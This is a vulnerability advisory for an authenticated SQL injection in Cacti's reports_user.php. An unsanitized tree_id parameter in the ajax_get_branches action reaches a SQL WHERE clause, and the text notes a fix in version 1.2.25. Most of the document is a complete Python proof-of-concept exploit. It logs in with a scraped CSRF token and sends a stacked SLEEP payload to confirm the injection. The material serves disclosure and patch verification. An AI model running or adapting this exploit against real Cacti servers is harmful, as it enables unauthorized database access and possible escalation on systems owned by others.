Authenticated SQL injection vulnerability in reports_user.php in Cacti

An authenticated user can exploit this vulnerability by sending a crafted `tree_id` parameter to the `ajax_get_branches` action in `reports_user.php`. The `tree_id` is directly incorporated into an SQL query's WHERE clause when its value is greater than 0. This allows an attacker to inject malicious SQL code, such as a `SLEEP` command to confirm the vulnerability, as demonstrated by the provided Python PoC [ref_id=1].

The vulnerability resides in the `reports_user.php` file, specifically within the `ajax_get_branches` case. The `tree_id` parameter is passed to the `reports_get_branch_select` function without sanitization. The `reports_get_branch_select` function then uses this unvalidated `tree_id` in a SQL query's WHERE clause [ref_id=1].

The advisory indicates that the vulnerability is addressed in version 1.2.25 and later. The fix involves properly validating the `tree_id` parameter before it is used in the SQL query. This prevents the injection of arbitrary SQL code, thereby mitigating the risk of privilege escalation and remote code execution.

By running the following Python3 code, you will observe a delay of 10 seconds in the response, which indicates the occurrence of SQL injection. ```python import argparse import requests import sys import urllib3

#import os #os.environ['http_proxy'] = 'http://localhost:8080'

sleep_time = 10 payload = f"1));SELECT SLEEP({sleep_time})-- -"

def get_csrf_token(): url = f"{target}/index.php" res_body = session.get(url).content.decode() csrf_token = res_body.split('var csrfMagicToken = "')[1].split('"')[0] if not csrf_token: print("[-] Unable to find csrf_token") sys.exit() return csrf_token

def login(username,password): login_url = f"{target}/index.php"

csrf_token = get_csrf_token() data = {'action':'login','login_username':username,'login_password':password,'__csrf_magic':csrf_token} res_body = session.post(login_url,data=data).content.decode() if 'You are now logged into <' in res_body: print('[+] Login successful!') else: print('[-] Login failed. Check your credentials') sys.exit()

def exploit(): url = f"{target}/reports_user.php"

params = { 'action':'ajax_get_branches', 'tree_id':payload }

print('[+] Sending payload...') print(f"[+] Payload: {payload}") session.get(url,params=params) if __name__=='__main__': urllib3.disable_warnings() parser = argparse.ArgumentParser(description="Cacti 1.2.24 - reports_user.php 'tree_id' SQL Injection (authenticated)") parser.add_argument('-t','--target',help='',required=True) parser.add_argument('-u','--username',help='',required=True) parser.add_argument('-p','--password',help='',required=True) args = parser.parse_args() username = args.username password = args.password target = args.target session = requests.Session()

login(username,password) exploit() ``` [ref_id=1]